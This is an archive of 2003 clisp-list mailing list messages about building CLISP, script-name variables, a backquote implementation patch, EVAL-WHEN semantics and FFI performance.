   (DEFPARAMETER *SCRIPT-NAME*       NIL
     "When non nil, it's a string containing the name of the script=20
      being loaded and run (argv[0]).")

somewhere in EXT package.


This would offer a cleaner interface than the above propositions.

     EXT:*SCRIPT-IS-RUNNING*          ;; we are in a script
     EXT:*SCRIPT-NAME*                ;; argv[0]
     EXT:*ARGS*                       ;; ( argv[1] ... argv[argc-1] )


(Other names may be choosen).
--=20
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Date: Tue Mar 25 01:57:14 2003
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Hi,

  Alexander Semashko told me he was unable to build clisp 2.30 (not
  CVS) under Linux (Alt Linux) with gettext. I.e. clisp builds, but
  *features* doesn't contain GETTEXT. He uses gettext  0.11.5.  He
  claims that there's no -DNO_GETTEXT in makefile. How can it be ?
  I have no problem with FreeBSD & clisp CVS.

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Date: Tue Mar 25 01:58:14 2003
X-Original-Date: Tue, 25 Mar 2003 18:28:33 +1000

>> I successfully recompiled the patched cygwin libiconv library. It nows
>> loads type.lisp without any changes (I did not apply the patch, should
>> I?)

> it depends on whether you want to help us with the problem you had
> before.
> if you do want to help us, you need to __remove__ libiconv, apply the
> patch and try to build again.
> the task is __not__ to achieve a successful build (yet :-), but to,
> first, see what encodings are missing, and, then, later, with a
> _different_ patch, to make clisp load type.lisp without libiconv.

Sam, I'm happy to inform you - there's no problem with cygwin and
libiconv except the latter has to be rebuilt. No missing encodings!
Unix error 2 = EILSEQ or something, it is not a file error. It is
acceptable in the place it occurs. I had already spent a day on this
so no need to repeat it (except if one wants - its another deal).

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Date: Tue Mar 25 06:26:25 2003
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Sam,
I did it already but to be sure I did it again. I removed libiconv 
completely and compiled clisp. It chokes on type.lisp with signal 11. This 
is true both for the patched type.lisp and for the unpatched type.lisp.
If I reinstall the newly recompiled patched libiconv then it goes up to 
compiler.lisp and dies with signal 11.
Yadin.

--On Monday, March 24, 2003 2:26 PM -0500 Sam Steingold <sds@gnu.org> 
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>> * In message <270864328.1048511201@GOLDSCHMIDT.phyast.pitt.edu>
>> * On the subject of "Re: Re[2]: [clisp-list] win32 cvs head binaries"
>> * Sent on Mon, 24 Mar 2003 13:06:42 -0500
>> * Honorable "Yadin Y. Goldschmidt" <yadin+@pitt.edu> writes:
>>
>> I successfully recompiled the patched cygwin libiconv library. It nows
>> loads type.lisp without any changes (I did not apply the patch, should
>> I?)
>
> it depends on whether you want to help us with the problem you had
> before.
> if you do want to help us, you need to __remove__ libiconv, apply the
> patch and try to build again.
> the task is __not__ to achieve a successful build (yet :-), but to,
> first, see what encodings are missing, and, then, later, with a
> _different_ patch, to make clisp load type.lisp without libiconv.
>
> --
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Date: Tue Mar 25 06:30:34 2003
X-Original-Date: Tue, 25 Mar 2003 09:29:39 -0500

I forgot to mention that (without libiconv) there are no comments or error 
messages when it dies loading type.lisp just : signal 11.

--On Monday, March 24, 2003 2:26 PM -0500 Sam Steingold <sds@gnu.org> 
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>> * In message <270864328.1048511201@GOLDSCHMIDT.phyast.pitt.edu>
>> * On the subject of "Re: Re[2]: [clisp-list] win32 cvs head binaries"
>> * Sent on Mon, 24 Mar 2003 13:06:42 -0500
>> * Honorable "Yadin Y. Goldschmidt" <yadin+@pitt.edu> writes:
>>
>> I successfully recompiled the patched cygwin libiconv library. It nows
>> loads type.lisp without any changes (I did not apply the patch, should
>> I?)
>
> it depends on whether you want to help us with the problem you had
> before.
> if you do want to help us, you need to __remove__ libiconv, apply the
> patch and try to build again.
> the task is __not__ to achieve a successful build (yet :-), but to,
> first, see what encodings are missing, and, then, later, with a
> _different_ patch, to make clisp load type.lisp without libiconv.
>
> --
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> * In message <1714350856.20030325180858@inbox.ru>
> * On the subject of "[clisp-list] linux: unable to build with gettext"
> * Sent on Tue, 25 Mar 2003 18:08:58 +1000
> * Honorable Arseny Slobodjuck <ampy@inbox.ru> writes:
>
>   Alexander Semashko told me he was unable to build clisp 2.30 (not
>   CVS) under Linux (Alt Linux) with gettext. I.e. clisp builds, but
>   *features* doesn't contain GETTEXT. He uses gettext 0.11.5.  He
>   claims that there's no -DNO_GETTEXT in makefile. How can it be ?  I
>   have no problem with FreeBSD & clisp CVS.

$ grep -i gettext config.log
configure:4535: checking for xgettext
configure:4563: result: /usr/bin/xgettext
configure:4673: checking for GNU gettext in libc
ac_cv_path_XGETTEXT=/usr/bin/xgettext
gt_cv_func_gnugettext2_libc=yes
XGETTEXT='/usr/bin/xgettext'
#define HAVE_DCGETTEXT 1
#define HAVE_GETTEXT 1
$

what does he have there?

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> * In message <15999.50904.630259.902128@thalassa.informatimago.com>
> * On the subject of "Re: [clisp-list] pname"
> * Sent on Tue, 25 Mar 2003 04:02:48 +0100
> * Honorable Pascal Bourguignon <pjb@informatimago.com> writes:
>
> Sam Steingold writes:
> > > * Honorable Pascal Bourguignon <pjb@informatimago.com> writes:
> > >
> > > (DEFPARAMETER PNAME     (FILE-NAMESTRING *LOAD-PATHNAME*))
> > 
> > (DEFPARAMETER PNAME     #.(FILE-NAMESTRING *LOAD-PATHNAME*))
> 
> This does not work no more.  In both cases, when the file where these
> statements are placed is not the script file, but a file loaded from
> the loaded/run script, *LOAD-PATHNAME* contains the path to the file
> loaded from the loaded/run script, not the path to the script.

you are confused.
if you put the #. version in your script and compile it, pname will be
the name of the script even after you concat it with other files.

e.g.

$ cat script1.fas script2.fas > script.fas
$ clisp script.fas

"script1.lisp" 
"script2.lisp" 
$ head -200 script*.lisp
==> script1.lisp <==
(defparameter *myname*
  #.(file-namestring (or *load-pathname* *compile-file-pathname*)))
(print *myname*)

==> script2.lisp <==
(defparameter *myname*
  #.(file-namestring (or *load-pathname* *compile-file-pathname*)))
(print *myname*)
$

> Thank you for the pointer. (I'm affraid a lot going into the sources
> of clisp because of them being programmed IMHO in lower level than C
> (all these pushSTACK/popSTACK etc)).

this is actually "pseudolisp" :-)

>     #   (DEFPARAMETER *SCRIPT-IS-RUNNING* T)           ;; new
>     #   (DEFPARAMETER *SCRIPT-NAME* argv_execute_file) ;; new

you can achieve the same result with the code I suggested.
I see no need for this.

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Try it!

  (eval ``(1 ,,@'((list 2 3) (list 4 5)) 6))

  => (1 (2 3) (4 5) 6)

  (eval ``(1 ,@,@'((list 2 3) (list 4 5)) 6))

  => (1 2 3 4 5 6)

  (eval (eval ```(0 ,@,@,@'((list ''(1) ''(2)) (list ''(3) ''(4))) 5)))

  => (0 1 2 3 4 5)

So are the implementation notes are simply wrong in this regard,
or is there some subtlety that I might be missing?

Anyway, I have completed the patch. It builds cleanly, the entire 
testsuite passes, the ,@,@ stuff works, unquoting over #A arrays is 
disallowed. My confidence in the implementation is quite high.

All I need to do is add a whole lot more tests to tests/backquot.tst,
and then someone needs to take a look at the error messages in
src/new-backquote.lisp and translate them to French, German, etc.

http://users.footprints.net/~kaz/clisp-backquote-patch.html




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Sam Steingold writes:
> > * In message <15999.50904.630259.902128@thalassa.informatimago.com>
> > * On the subject of "Re: [clisp-list] pname"
> > * Sent on Tue, 25 Mar 2003 04:02:48 +0100
> > * Honorable Pascal Bourguignon <pjb@informatimago.com> writes:
> >
> > Sam Steingold writes:
> > > > * Honorable Pascal Bourguignon <pjb@informatimago.com> writes:
> > > >
> > > > (DEFPARAMETER PNAME     (FILE-NAMESTRING *LOAD-PATHNAME*))
> > >=20
> > > (DEFPARAMETER PNAME     #.(FILE-NAMESTRING *LOAD-PATHNAME*))
> >=20
> > This does not work no more.  In both cases, when the file where these
> > statements are placed is not the script file, but a file loaded from
> > the loaded/run script, *LOAD-PATHNAME* contains the path to the file
> > loaded from the loaded/run script, not the path to the script.
>=20
> you are confused.
> if you put the #. version in your script and compile it, pname will be
> the name of the script even after you concat it with other files.

No, I just did not explain myself clearly enough.

I'm intending to create a package exporting functions and variables to
be used  in scripts.  =20

The source of this package will be in a file named 'pjb-script.lisp'.

There  will  be  scripts  in  files named  'script1',  'script2',  ...
'scriptN'.

Each of these 'scriptI' files will contain:

     (require 'pjb-script) ;; or if you will: (load "pjb-script")
     ;; and stuff like:
     (when (pjb-script:is-running)
         (format t "~A: my args are: ~W~%"=20
                   pjb-script:name pjb-script:arguments))

The point is to avoid  inserting in _duplicate_ in all these 'scriptI'
files   stuff  that   is   rather  _encapsulated_   and  _hidden_   in
'pjb-script.lisp'  from  which  a  nice  _abstracted_  _interface_  is
exported.  (I've  underlined some keywords  that should ring  a bell).
That means, that the only thing  that should need to be present in all
the scripts is a mere:

  (require 'pjb-script)

See note(*) below.


So whatever the incantation proposed, it  has to be designed to be put
in  the file  named 'pjb-script.lisp',  and to  work in  the following
conditions (with sample of what is expected):

    - when pjb-script.lisp  or pjb-script.fas is loaded  from a normal
      clisp process:

            $ clisp
            [1]> (load "pjb-script")
            T
            [2]> (script:is-running)
            NIL
           =20

    - when  pjb-script.lisp   or  pjb-script.fas  is   loaded  from  a
      "loading"  script loaded  (load  "scriptI) from  a normal  clisp
      process.

            $ clisp
            [1]> (load "scriptI")
            running=3DNIL name=3DNIL path=3DNIL=20
            T
            [2]


    - when  pjb-script.lisp   or  pjb-script.fas  is   loaded  from  a
      "running" script invoked via the '#!' mechanism.

            -------(scriptI)--------
            #!/usr/bin/clisp
            (load "pjb-script")
            (format t "running=3D~A name=3D~A path=3D~A~%"
                     (script:is-running) script:name script:path)
            (when (script:is-running) (format t "doing script stuff...~%"=
))
            ------------------------
            $ /some/path/scriptI
            running=3DT name=3DscriptI path=3D/some/path/scriptI
            doing script stuff...

           =20
    - when pjb-script.fas is concatenated  to scriptI.fas into an '#!'
      executable and "run".
=20
            $ mv scriptI scriptI.lisp
            $ clisp -q -c scriptI.lisp
            $ echo '#!/usr/bin/clisp' > scriptI
            $ cat pjb-script.fas >> scriptI
            $ cat scriptI.fas >> scriptI
            $ chmod 755 scriptI
            $ ./scriptI
            running=3DT name=3DscriptI path=3D./scriptI
            doing script stuff...


Notably,  in  the  last  case,  the  value  of  *LOAD-PATHNAME*  while
loading/evaluating  the  forms   copied  from  pjb-script.fas  IS  NOT
'pjb-script.fas' but  'scriptI', while in  all the other  cases, while
loading/evaluating the forms from pjb-script.lisp (or pjb-script.fas),
the value  of *LOAD-PATHNAME* is  pjb-script.lisp (or pjb-script.fas).
What's  more,  in  both  case,   what  I'm  interested  in,  it's  not
'pjb-script.lisp', but 'scriptI'.

=20
> > Thank you for the pointer. (I'm affraid a lot going into the sources
> > of clisp because of them being programmed IMHO in lower level than C
> > (all these pushSTACK/popSTACK etc)).
>=20
> this is actually "pseudolisp" :-)
>=20
> >     #   (DEFPARAMETER *SCRIPT-IS-RUNNING* T)           ;; new
> >     #   (DEFPARAMETER *SCRIPT-NAME* argv_execute_file) ;; new
>=20
> you can achieve the same result with the code I suggested.
> I see no need for this.


Right now, to implement pjb-script.lisp, I must add to my .clisprc.lisp:

;; Awfull trick for pjb-script:is-running=20
;; and to be able to load clisp scripts:
(DEFUN PJB-EXECUTABLE-READER (A B C) (SYS::UNIX-EXECUTABLE-READER A B C))
(SET-DISPATCH-MACRO-CHARACTER #\# #\! (FUNCTION PJB-EXECUTABLE-READER))

and I  must add a call  to a PJB-SCRIPT:INITIALIZE function  in all my
scripts (since this function is evaluated when we're "running"/loading
the 'scriptI' file, the value of *LOAD-PATHNAME* is correcty "scriptI"
which I can save for later reference).


So you can  see the two problems that should  motivate the addition of
the EXT:*SCRIPT-IS-RUNNING* and EXT:*SCRIPT-NAME* variables:

    - the implementation  of a PJB-SCRIPT:IS-RUNNING  feature, and the
      will to be able to load  clisp code in '#!'  scripts imposes the
      insertion of a ugly hack in the .clisprc.lisp of the users.

    - and the lack of  *SCRIPT-NAME* imposes the gratuituous insertion
      in all the scripts of (PJB-SCRIPT:INITALIZE).


Or, if you will, just look at the code around the two new "pseudolisp"
lines I  proposed.  You may notice  that there is  a strong unwaranted
asymetry  in the processing  of of  argv[]: why  argv[0] is  not saved
while argv[1]...argv[argc] is saved as EXT:*ARGS* ?




(*) Note:

    It should  be obvious  that no code  should be duplicated  for the
    pain to maintain it.

    The  importance of  the other  characteristics,  encapsulation and
    hidding the implementation  details behind an abstracted interface
    can be seen  if you realize that  it's the only way to  be able to
    switch  easily of  common-lisp  implementation.  The  name of  the
    package        in       'pjb-script.lisp'        is       actually
    COM.INFORMATIMAGO.CLISP.SCRIPT, with two nicknames: PJB-SCRIPT and
    SCRIPT.       Then     I'll      have     a      package     named
    COM.INFORMATIMAGO.CMUCL.SCRIPT,  with  a  nickname PJB-SCRIPT  and
    SCRIPT in a  file named pjb-script.lisp, but in  the directory for
    cmucl libraries.  (In my script, the package named used everywhere
    is actually  "SCRIPT").  So only  changing the #! line  would have
    the script run by another lisp.

    Anybody who is to develop serrious applications can only use pure,
    portable, Common-Lisp and modules that are portable to the various
    target implementations used by their customers or users.=20
  =20
    In particular, I'm totally against using the #+/#- features.  This
    is like  the #ifdef/#endif  of C and  this leads  to unmaintenable
    mess.   Well, their  use  could be  restricted  to some  low-level
    package,   but   I'm   witnessing   that   they're   rather   used
    everywhere.  For example, in pseudo (a scheme in Common-Lisp):

    $ egrep -e '[#][-+]' *.lisp|sed -e 's/:.*//'|sort -u|wc -l
          8
    $ ls -l *.lisp | wc -l
         13

    On  the contrary,  I'd advocate  for the  definition  of low-level
    interfaces, implemented on  each target platform encapsulating the
    specifics of the platform  into a low-level package exporting that
    same interface.   These few low-level interface  packages all with
    the same interface  can then be used to  implement the application
    independantly of the target environment.

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> * In message <sqptoglp3o.fsf@lambda.jcn.srcf.net>
> * On the subject of "Re: [clisp-list] Current CVS observations"
> * Sent on Mon, 24 Mar 2003 16:13:31 +0000
> * Honorable Christophe Rhodes <csr21@cam.ac.uk> writes:
>
> This time, when I tried building with --with-debug, the build seemed
> to hang while running interpreted.mem to compile the world... when I

world?  you mean "-c compiler.lisp"?
this can take a long time.

> attached gdb to it, it seemed to be in the process of trying to print
> a backtrace(?)

weird.

> [11]> (foo :bar 1)
> 
> *** - foo               ; not as expected

fixed, thanks.

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> * In message <Pine.LNX.4.44.0303250858480.20912-100000@ashi.FootPrints.net>
> * On the subject of "Re: Actually ,,@ and ,@,@ does work in existing CLISP!"
> * Sent on Tue, 25 Mar 2003 09:24:40 -0800 (PST)
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>
> Anyway, I have completed the patch. It builds cleanly, the entire
> testsuite passes, the ,@,@ stuff works, unquoting over #A arrays is
> disallowed. My confidence in the implementation is quite high.

good.
I will integrate the patch.

> All I need to do is add a whole lot more tests to tests/backquot.tst,

that would be nice.

> and then someone needs to take a look at the error messages in
> src/new-backquote.lisp and translate them to French, German, etc.

don't worry about that for now.

> http://users.footprints.net/~kaz/clisp-backquote-patch.html

<http://users.footprints.net/~kaz/clisp-2-30-backquote-2003-04-24.diff>:

1. who is "Pei-Yin Lin"?

2. please add a (C) note and the licensing terms.

3. you need a define_variable() for *READING-ARRAY* in init_reader()

4. why do you call bq-optimize in places.lisp?
   I thought that optimizations were controlled by a variable.

5. you will need to write a single ChangeLog entry for the whole thing
   (nor an incremental one).

6. It would be nice if you could send the patches against CVS head, not 2.30.
   
Thanks!


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Sam Steingold <sds@gnu.org> writes:

>> * In message <sqptoglp3o.fsf@lambda.jcn.srcf.net>
>> * On the subject of "Re: [clisp-list] Current CVS observations"
>> * Sent on Mon, 24 Mar 2003 16:13:31 +0000
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>>
>> This time, when I tried building with --with-debug, the build seemed
>> to hang while running interpreted.mem to compile the world... when I
>
> world?  you mean "-c compiler.lisp"?
> this can take a long time.

OK, with --with-debug from a clean CVS checkout from yesterday, I'm
back to PI behaving weirdly:

csr21@mu:~/misc-cvs/clisp$ xxx/lisp.run -M xxx/lispinit.mem 
STACK depth: 16363
SP depth: 67109992
[...]
[1]> pi
0.00282743338823081391L0
[2]> (rationalize pi)
[... apparent hang ...]
1. Break [4]> 1.0L0
9.000000000000000L-5

So maybe long-float stuff is broken?  If it helps, gcc was 2.95.4 from
Debian, and clisp was configured with 
./configure --with-debug --build xxx
Let me know if there's anything else you'd like me to try on this one.

>> [11]> (foo :bar 1)
>> 
>> *** - foo               ; not as expected
>
> fixed, thanks.

Thanks.  I'll try again (with a non-debug build) and see what happens
now :-)

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Hi,

Kaz implicitly raised the topic on who/what component ought to do Lisp-level optimizations (or code-rewrites).

Kaz Kylheku wrote:
>   (cons 'a (cons 'b (append a (append b c))))
>where the original implementation would put out:
>   (list* 'a 'b (append a b c))

>Profiling under CLISP shows that even for making a list of two cons
>cells, one call to list* with three arguments is slightly faster than
>two calls to cons, so this reduction appears worthwhile, and can be
>done by a trivial cleanup pass.

[164]> (disassemble #'(lambda (x y z) (cons x (cons y z))))
Disassembly of function :LAMBDA
[...]
3     (CONS)
4     (CONS)
5     (SKIP&RET 4)
#<COMPILED-CLOSURE :LAMBDA>
It could have been the bytecode (LIST* 2)

One can argue that the best place for optimizations at the Lisp-level is the Lisp compiler[*]. Especially it's not the macro writer's job to do trivial transformations of degenerate or simple cases. This makes the macro's code clumsy and less readable.

To me the bottom line is always the same: a compiler written with a human programmer in mind need not do such optimizations. It embeds assumptions which only apply to hand-written code.

Such assumptions typically lead to stupid-looking restrictions like a line-length limit of 1024 bytes (see your favourite HTTP reference on URL length), a small nesting limit on loops etc. - Examples are abundant. A decade ago, trying to port CLISP to various platforms, we hit various C preprocessors who could not deal with CLISP's many C macros: expanded lines became too long, macro nesting was too deep, etc. We kicked al these products. IIRC, a result of this is that CLISP still contains utils/gcc-cccp.c, a working C preprocessor, instead of relying on the vendors one. We also hit numerous arbitrarily small restrictions in the C compiler itself, which each could be traced to an implicit assumption that hand-written C code would never look like what the C compiler got to see with CLISP.

Some people have claimed that CLISP abuses the C preprocessor. I counter: it's a legitimate use. More on that another time.

A compiler written with machine/lexers/macro-generators in mind gets to see code which never would be written by hand. IMHO, it should nevertheless produce good code.

An important point is: Optimization cost analysis time that a compiler written for a human programmer need not spend. Maybe CLISP should look at DECLARE SPEED settings?

[*] Talking about Lisp-level optimizations, I mean things like CONS of CONS->LIST*, either at the level of Lisp-code or byte-code rewrites. I do not request that a Lisp compiler shall find the possible optimizations of the application's domain, e.g. backtrack points for a Prolog written on top of Lisp.
There are also many situations where the compiler cannot figure out whether an optimization is possible, without whole program analysis. Constant folding is a typical example, stack-allocation another one.

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	Jorg Hohle.


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Christophe Rhodes <csr21@cam.ac.uk> writes:

> Thanks.  I'll try again (with a non-debug build) and see what happens
> now :-)

OK, some more tidbits:

Compiling (and not loading!) a file with the following contents
  (let ()
    (defmacro foo () 'nil))
appears nonetheless to define the FOO macro in the REPL.  This strikes
me as positively weird.

Compiling a file containing
  (defstruct foo a)
  (defmethod print-object ((x foo) stream)
    (pprint-logical-block (stream nil)
      (print-unreadable-object (x stream :type t :identity t)
        (print (foo-a x) stream))))
leads to two compiler messages, one of which causes a continuable
error because of package locks:
  WARNING in (DEFMETHOD PRINT-OBJECT (# STREAM) ...)-2-1-1-1 in lines 2..5 :
  SETQ: assignment to the internal special symbol SYSTEM::*PRIN-LEVEL*
  WARNING in (DEFMETHOD PRINT-OBJECT (# STREAM) ...)-2-1-1-1 in lines 2..5 :
  variable SYSTEM::OBJ is not used.
  Misspelled or missing IGNORE declaration?

clisp now compiles the first stage of sbcl to completion... I'll try
running it soon, but there was another surprise: that
MULTIPLE-VALUE-BIND was a special operator.  I guess that is
conforming if you provide the macro definition?  It surprised me, is
all -- why do you do that?

Anyway, thanks for the help,

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Date: Wed Mar 26 04:44:11 2003
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Christophe Rhodes <csr21@cam.ac.uk> writes:

> Compiling (and not loading!) a file with the following contents
>   (let ()
>     (defmacro foo () 'nil))
> appears nonetheless to define the FOO macro in the REPL.  This strikes
> me as positively weird.

And yet slightly more weirdness:

Compiling the following:
  (let ()
    (eval-when (:compile-toplevel :load-toplevel :execute)
      (defmacro foo () 'nil)))
does not lead to a FOO macro being present after compilation.
However, it doesn't lead to a FOO macro being present after loading
the resulting .fas file, either.  Loading the source file works as
expected.

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Date: Wed Mar 26 05:38:11 2003
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Hi,

please help me nuderstand some area of backquotes.


Kaz Kylheku wrote:
>Which reminds me that I should add some optimization for reducing
>a constant list to a constant vector; we should be spitting out
>the literal object:
>  #(1 2 (2 3) 3)
Yes please:
`(foo #(1 2 3) ,bar)
should not call (vector 1 2 3) at run-time.
Or at least I believe so.
(list 'foo '#(1 2 3) bar) is the code I'd expect.

[...]
>   (list 'system::backquote (vector 1 
>                                    (list 'system::unquote 'a) 
>                                    2))
>   ==> `#(1 ,A 2)
>This is a feature: we want the backquote notation to have a
>list-based target language such that we can write code which writes
>that language.

This is great! Actually, I believe I posted several years ago to comp.lang.lisp on the topic of standardizing backquote internals (like in Scheme). I now believe that this not possible in CL (your e-mails here helped). But it's fine if it works in CLISP.

Regards,
	Jorg Hohle.


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Date: Wed Mar 26 05:52:08 2003
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Christophe Rhodes wrote:

>And yet slightly more weirdness:
>Compiling the following:
>  (let ()
>    (eval-when (:compile-toplevel :load-toplevel :execute)
>      (defmacro foo () 'nil)))
>does not lead to a FOO macro being present after compilation.
>However, it doesn't lead to a FOO macro being present after loading
>the resulting .fas file, either.  Loading the source file works as
>expected.

My understanding of ANSI-CL eval-when is that your expectations are wrong.
Obviously, LET makes EVAL-WHEN not be at :*-toplevel. Thus everything happens as if NIL had been written instead of the whole eval-when form, at least in the compiler POV. No macro is seen.

I think this is a clear benefit of the renaming/clarification that happened between CLtL2 and ANSI-CL. :load/compile-toplevel is more expressive (and restrictive) than just the terms "compile load".


Another thing I once saw, but I'm not sure CLISP can be blamed on this. Expecting CLISP to sort out duplicate macro definitions for use by functions during compile-time of the same file is too much to be asked for:

(defmacro fast-position (elt sequence start end)
  `(position ,elt ,sequence :start ,start :end ,end))
#+clisp ; fast position on strings, added by Joerg Hoehle 2003
(when #+clisp (fboundp (find-symbol "VECTOR-POSITION" "EXT")) #-clisp nil
  (defmacro fast-position (elt sequence start end)
    `(ext::vector-position ,elt ,sequence ,start ,end)))
;(macroexpand-1 '(fast-position #\; "a;b" 0 3))
(defun foo (x) (fast-position #\newline x))

Both definitions occur at top-level. Which one shall the compiler remember for use during compilation in the same file? It cannot know.

So instead I wrote:
(defmacro fast-position (elt sequence start end)
  (if #+clisp (fboundp (find-symbol "VECTOR-POSITION" "EXT")) #-clisp nil
    `(ext::vector-position ,elt ,sequence ,start ,end)
    `(position ,elt ,sequence :start ,start :end ,end)))

Regards,
	Jorg Hohle.


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"Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:

> Christophe Rhodes wrote:
>
>>And yet slightly more weirdness:
>>Compiling the following:
>>  (let ()
>>    (eval-when (:compile-toplevel :load-toplevel :execute)
>>      (defmacro foo () 'nil)))
>>does not lead to a FOO macro being present after compilation.
>>However, it doesn't lead to a FOO macro being present after loading
>>the resulting .fas file, either.  Loading the source file works as
>>expected.
>
> My understanding of ANSI-CL eval-when is that your expectations are
> wrong.  Obviously, LET makes EVAL-WHEN not be at :*-toplevel. Thus
> everything happens as if NIL had been written instead of the whole
> eval-when form, at least in the compiler POV. No macro is seen.

From the CLHS page for EVAL-WHEN

  The use of the situation :execute (or eval) controls whether
  evaluation occurs for other eval-when forms; that is, those that are
  not top level forms, or those in code processed by eval or
  compile. If the :execute situation is specified in such a form, then
  the body forms are processed as an implicit progn; otherwise, the
  eval-when form returns nil.

and a non-normative example:

  ;;;     The EVAL-WHEN in this case is not at toplevel, so only the :EXECUTE
  ;;;     keyword is considered. At compile time, this has no effect.
  ;;;     At load time (if the LET is at toplevel), or at execution time
  ;;;     (if the LET is embedded in some other form which does not execute
  ;;;     until later) this sets (SYMBOL-FUNCTION 'FOO1) to a function which
  ;;;     returns 1.
   (let ((x 1))
     (eval-when (:execute :load-toplevel :compile-toplevel)
       (setf (symbol-function 'foo1) #'(lambda () x))))

I quite agree that, at compile time, no side-effect should happen;
however, at load or execution time, there had better be a side effect:
note particularly the sentence "If the :execute situation ..."


> (defmacro fast-position (elt sequence start end)
>   `(position ,elt ,sequence :start ,start :end ,end))
> #+clisp ; fast position on strings, added by Joerg Hoehle 2003
> (when #+clisp (fboundp (find-symbol "VECTOR-POSITION" "EXT")) #-clisp nil
>   (defmacro fast-position (elt sequence start end)
>     `(ext::vector-position ,elt ,sequence ,start ,end)))
> ;(macroexpand-1 '(fast-position #\; "a;b" 0 3))
> (defun foo (x) (fast-position #\newline x))
>
> Both definitions occur at top-level. 

No they don't.  WHEN is not an operator that preserves top-levelness:
only LOCALLY, MACROLET, SYMBOL-MACROLET and PROGN do that.

Cheers,

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Hi FFI users,

Aurelio Bignoli wrote:
>ad-hoc C function:
>   Real time: 0.181583 sec.
>with-c-var/cast:
>   Real time: 1.494392 sec.
Ouch! 10 times slower...
>with-foreign-object/%cast
>   Real time: 0.638666 sec.
WITH-FOREIGN-OBJECT still embeds a superfluous call to PARSE-C-TYPE.

Could you please try out the following:
;; An initial attempt at better run-time behaviour: there is often
;; no need to reparse for every function call.
;; Even better would even be compile-time inlining of parse-c-type result,
;; when applicable (only combinations of uint, char, c-array etc., no c-struct nor def-c-type)
(define-compiler-macro ffi::parse-c-type (typespec &optional name &whole form)
  (if (and (null name)
           (consp typespec)
           (eq 'QUOTE (car typespec)))
      `(LOAD-TIME-VALUE (FFI::PARSE-C-TYPE ',(cadr typespec)))
      form))

I expect this code to work under all (if not 98%) current uses of the CLISP FFI. Depending on LOAD-TIME-VALUE means that in theory, problems could occur with things not yet defined at the time a file is loaded (e.g. late definitions etc.).

However, I believe there's very little use of this opportunity in actual code, since the FFI has been underspecified in this area anyway: When should a foreign type definition be available? Compile-time? X-time?

So far, foreign1.lisp has (carelessly?) enforced a restrictive use on DEF-CALL-OUT etc. forms: the foreign types where (superfluously?) checked by the compiler, for the single benefit of knowing the argument count of a foreign function. This is not necessary (but nobody complained).

Therefore, load-time-value should work well with (load&)compile-time known types.

In a VM machine like CLISP, unlike native-code generation, there's little value in having C types known at compile-time. That's why I had no problem having WITH-FOREIGN-OBJECT and WITH-C-VAR evaluate the type, whereas e.g. CMUCL's WITH-ALIEN does not:

#+clisp (with-foreign-object (x (compute-foreign-type)) body)
#+clisp (with-foreign-object (x '(c-array uint8 32)) body)
#+cmu   (with-alien          (x (array c-call:uint8 32)) body)
Note the missing 'quote for CMUCL.

Note that you'll need clisp>2.28, because of a bug-fix to compiler-macrolet which I reporetd a few month ago.

Regards,
	Jorg Hohle.


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> * In message <sqvfy69ydb.fsf@lambda.jcn.srcf.net>
> * On the subject of "Re: [clisp-list] Current CVS observations"
> * Sent on Wed, 26 Mar 2003 11:10:56 +0000
> * Honorable Christophe Rhodes <csr21@cam.ac.uk> writes:
>
> OK, with --with-debug from a clean CVS checkout from yesterday, I'm
> back to PI behaving weirdly:
> 
> csr21@mu:~/misc-cvs/clisp$ xxx/lisp.run -M xxx/lispinit.mem 
> STACK depth: 16363
> SP depth: 67109992
> [...]

what did you snip?
do you have a ~/.clisprc?

> [1]> pi
> 0.00282743338823081391L0
> [2]> (rationalize pi)
> [... apparent hang ...]
> 1. Break [4]> 1.0L0
> 9.000000000000000L-5
> 
> So maybe long-float stuff is broken?  If it helps, gcc was 2.95.4 from
> Debian, and clisp was configured with 
> ./configure --with-debug --build xxx
> Let me know if there's anything else you'd like me to try on this one.

(float pi 1d0)
(sin pi)

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On Wed, 26 Mar 2003, Hoehle, Joerg-Cyril wrote:

> Kaz Kylheku wrote:
> >Which reminds me that I should add some optimization for reducing
> >a constant list to a constant vector; we should be spitting out
> >the literal object:
> >  #(1 2 (2 3) 3)
> Yes please:

Thanks for the second reminder. I now put this simple change in.

[9]> (macroexpand-1 '`#(1 2 ,@(list 10 20) 3))
#(1 2 10 20 3) ;
T
[10]> (macroexpand-1 '`#(1 2 ,@(list a 20) 3))
(APPLY #'VECTOR (LIST 1 2 A 20 3)) ;
T

> `(foo #(1 2 3) ,bar)
> should not call (vector 1 2 3) at run-time.
>
> Or at least I believe so.
> (list 'foo '#(1 2 3) bar) is the code I'd expect.

[11]> (macroexpand '`(foo #(1 2 3) ,bar))
(LIST 'FOO #(1 2 3) BAR) ;
T

[12]> (macroexpand '`(foo #(1 ,x 3) ,bar))
(LIST 'FOO (APPLY #'VECTOR (LIST 1 X 3)) BAR) ;
T

[13]> (macroexpand '`(foo #(1 2 3) bar))
'(FOO #(1 2 3) BAR) ;
T



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On Wed, 26 Mar 2003, Hoehle, Joerg-Cyril wrote:

> Kaz implicitly raised the topic on who/what component ought to do
> Lisp-level optimizations (or code-rewrites).

Right. When your backquote puts out code like (APPEND (LIST A) (LIST
B)) who should optimize that? In principle, the Lisp compiler can do
the code transformation to (LIST A B), so the backquote implementor
doesn't have to worry about it.

> One can argue that the best place for optimizations at the Lisp-level
> is the Lisp compiler[*]. Especially it's not the macro writer's job to
> do trivial transformations of degenerate or simple cases. This makes
> the macro's code clumsy and less readable.

But then again macros *are* compilers. ;) Macros that are built into an
implementation like CLISP are effectively part of the compiler. So
whether or not backquote does the APPEND reduction, or the Lisp
compiler, is immaterial to the user. It's an architectural decision
impacting the internals.

There is a good case that can be made for having backquote do the code
transformations: the user can interact with backquote and see what it
is doing. The optimized list construction code is also more readable,
because it's closer to what a Lisp programmer would write, had she no
backquote syntax.

If I typed 

  (macroexpand-1 '`(,a ,b ,c))

I'd rather read

  (LIST A B C)

than

  (APPEND (LIST A) (LIST B) (LIST C))

When you have nested backquotes, the extra verbiage piles up on your
brain. ;)

Here is another way to look at it: the backquote translator is a robot
programmer who writes *source* code, and as such, that programmer
should write the same kind of decent code that a human would write.
This is not really even an optimization issue; there is some esthetic
principle involved here. :)

Here is another consideration: there are cases when the backquote
translator can legitimately reduce, for instance, (LIST 1 2 3) 
to '(1 2 3).

But the Lisp compiler cannot do this reduction, because the result
of the expression may be destructively manipulated somewhere.
After the backquote expander has done its job, the context is lost:
it's no longer obvious that the code came from a backquote notation.

So then you are looking at either rolling the backquote logic into the
compiler, doing the constant folding in the backquote implementation
